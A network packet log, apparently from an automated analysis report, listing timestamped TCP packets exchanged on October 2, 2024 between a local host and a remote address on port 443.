Oct 2, 2024 17:16:54.311391115 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.311403990 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.311461926 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.320894003 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.320909023 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.320956945 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.320971012 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.321001053 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.321022034 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.331125975 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.331141949 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.331207037 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.331229925 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.331285954 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.340559959 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.340575933 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.340657949 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.340670109 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.340713024 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.349946976 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.349961996 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.350045919 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.350066900 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.350107908 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.359590054 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.359606981 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.359694958 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.359744072 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.362401009 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.367752075 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.367767096 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.367816925 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.367830992 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.367882013 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.387749910 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.387764931 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.387845993 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.387890100 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.390393019 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.398320913 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.398338079 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.398431063 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.398464918 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.398588896 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.407011032 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.407027960 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.407119989 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.407133102 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.407169104 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.424556971 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.424571991 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.424660921 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.424674034 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.424719095 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.427731991 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.427767992 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.427843094 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.427850008 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.427890062 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.436191082 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.436206102 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.436273098 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.436295986 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.436577082 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.445810080 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.445825100 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.445916891 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.445935965 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.445979118 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.454134941 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.454159021 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.454315901 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.454349041 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.454456091 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.474042892 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.474061966 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.474163055 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.474204063 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.474335909 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.484592915 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.484612942 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.484682083 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.484730959 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.484797001 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.493583918 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.493603945 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.493684053 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.493705034 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.493752956 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.523165941 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.523180962 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.523230076 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.523267031 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.523282051 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.523363113 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.541002035 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.541018009 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.541086912 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.541111946 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.541153908 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.543704987 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.543720961 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.543765068 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.543772936 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.543795109 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.543813944 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.547110081 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.547123909 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.547178030 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.547187090 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.547231913 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.548871040 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.548887014 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.548937082 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.548944950 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.549345016 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.560231924 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.560246944 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.560309887 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.560322046 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.560379028 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.570960045 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.570976019 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.571028948 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.571041107 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.571074963 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.571090937 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.579902887 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.579917908 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.579987049 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.579997063 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.580034971 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.609751940 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.609771967 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.609857082 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.609857082 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.609869957 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.613002062 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.627391100 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.627408028 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.627480030 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.627492905 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.627535105 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.629865885 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.629878998 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.629946947 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.629955053 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.629986048 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.633416891 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.633431911 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.633490086 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.633497953 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.633529902 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.634947062 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.634960890 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.635019064 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.635029078 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.635059118 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.646476984 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.646492004 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.646562099 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.646573067 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.646612883 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.657263994 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.657279015 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.657344103 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.657352924 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.657385111 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.666290045 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.666306019 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.666389942 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.666400909 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.666435957 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.695878029 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.695897102 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.695979118 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.695991039 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.696028948 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.713732004 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.713748932 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.713854074 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.713867903 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.713912010 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.716296911 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.716312885 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.716378927 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.716386080 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.717027903 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.719757080 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.719774008 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.719896078 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.719903946 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.720014095 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.721194983 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.721213102 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.721272945 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.721280098 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.721318960 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.733016014 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.733031988 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.733094931 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.733103991 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.733263016 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.743637085 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.743664980 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.743700981 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.743709087 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.743737936 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.743756056 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.752609968 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.752630949 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.752676010 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.752686024 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.752713919 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.752732038 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.782197952 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.782217979 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.782296896 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.782310009 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.782351017 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.799798965 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.799814939 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.799891949 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.799902916 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.799946070 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.802851915 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.802866936 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.802937031 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.802942991 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.802975893 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.805990934 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.806005955 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.806061029 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.806067944 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.806102991 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.807977915 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.807992935 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.808026075 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.808032036 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.808054924 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.808075905 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.819396973 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.819411993 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.819479942 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.819485903 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.819525003 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.830333948 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.830360889 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.830470085 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.830481052 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.830832958 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.839675903 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.839721918 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.839756966 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.839782000 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.839807034 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.839827061 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.868699074 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.868748903 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.868808985 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.868840933 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.868856907 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.869103909 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.886440039 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.886503935 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.886521101 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.886533022 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.886580944 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.889708996 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.889760971 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.889811993 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.889820099 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.889842987 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.889868021 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.892430067 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.892473936 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.892517090 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.892527103 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.892564058 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.892589092 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.894300938 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.894345045 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.894371986 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.894380093 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.894418001 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.894438028 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.905966997 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.906018019 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.906045914 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.906055927 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.906094074 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.906109095 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.917571068 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.917627096 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.917665005 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.917675018 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.917710066 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.917850971 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.925529003 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.925580978 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.925609112 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.925626040 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.925649881 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.925673008 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.955122948 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.955199957 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.955204964 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.955252886 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.955270052 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.955348969 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.972999096 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.973021984 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.973102093 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.973128080 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.973221064 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.976090908 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.976106882 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.976155996 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.976166964 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.976197004 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.976212025 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.979226112 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.979242086 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.979288101 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.979299068 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.979322910 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.979347944 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.984183073 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.984200001 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.984256983 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.984270096 CEST	443	65247	49.12.197.9	192.168.2.6
Oct 2, 2024 17:16:54.984289885 CEST	65247	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:16:54.984311104 CEST	65247	443	192.168.2.6	49.12.197.9
